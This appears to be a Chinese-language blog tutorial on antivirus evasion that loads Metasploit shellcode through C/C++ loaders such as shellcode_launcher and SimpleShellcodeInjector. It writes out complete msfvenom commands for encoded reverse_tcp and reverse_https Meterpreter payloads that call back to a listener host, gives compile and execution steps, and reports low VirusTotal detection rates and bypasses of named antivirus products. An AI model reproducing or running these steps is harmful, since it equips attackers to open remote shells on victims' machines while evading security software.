当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x01 C/C++加载shellcode免杀介绍
0x02 使用shellcode加载器
使用shellcode_launcher(VT免杀率3/71)
使用SSI加载(VT免杀率6/69)
本文目录:(由于内容较多篇幅较长,分成了上中下三篇文章)
免杀能力一览表
在此之前对各种常见免杀工具进行了介绍,也可以从中了解很多免杀工具的原理,很多都是使用msfvenom生成shellcode,然后对shellcode进行混淆、编码等各种处理,最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。
这里我们介绍一下C/C++加载shellcode手工编译的方法,一般分为两种方式:
1、C/C++源码+shellcode直接编译,其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式,且shellcode可进行一些加密混淆处理;比如免杀工具veil和Venom都是使用了类似的方法。
2、使用加载器加载C/C++代码,如shellcode_launcher之类。
shellcode加载器中效果最好使用较多的就是shellcode_launcher了。
https://github.com/clinicallyinane/shellcode_launcher/
使用非常简单,克隆到本地git clone https://github.com/clinicallyinane/shellcode_launcher/
其中的文件shellcode_launcher.exe
就是要用到的加载器。
还是先用Msfvenom生成raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f raw -o shellcode.raw
在测试机器上执行,杀软均无反应
shellcode_launcher.exe -i shellcode.raw
msf中可正常上线
virustotal.com上shellcode.raw
查杀率为1/57
virustotal.com上shellcode_launcher.exe
查杀率为3/71
这里需要使用的加载器https://github.com/DimopoulosElias/SimpleShellcodeInjector
先用msfvenom生成基于c语言的shellcode
msfvenom -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f c -o msf.txt
然后执行下面命令,会得到一串16进制字符串
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
然后在SimpleShellcodeInjector
文件中,找到文件SimpleShellcodeInjector.c
。使用命令i686-w64-mingw32-gcc SimpleShellcodeInjector.c -o ssi.exe
编译生成ssi.exe。
如果没有安装i686-w64-mingw32-gcc
,可在这里下载https://github.com/TideSec/BypassAntiVirus/tree/master/tools
其实在SimpleShellcodeInjector\OLDBinary
文件中也有个ssi.exe,这是作者给编译好的,不过不建议使用,因为这个ssi.exe已经能被很多杀软查杀,最好就是使用上面的命令自己编译一个。
使用编译生成的ssi.exe,参数为上面的16进制字符串,执行shellcode。360和火绒的静态+动态查杀都可bypass。
msf可正常上线
virustotal.com上ssi.exe
查杀率为6/69
参考链接:
Meterpreter免杀总结: https://carlstar.club/2019/01/04/dig/
shellcode加载总结: https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
浅谈meterpreter免杀:https://www.jianshu.com/p/9d2790f6c8aa
虽然我们生活在阴沟里,但依然有人仰望星空!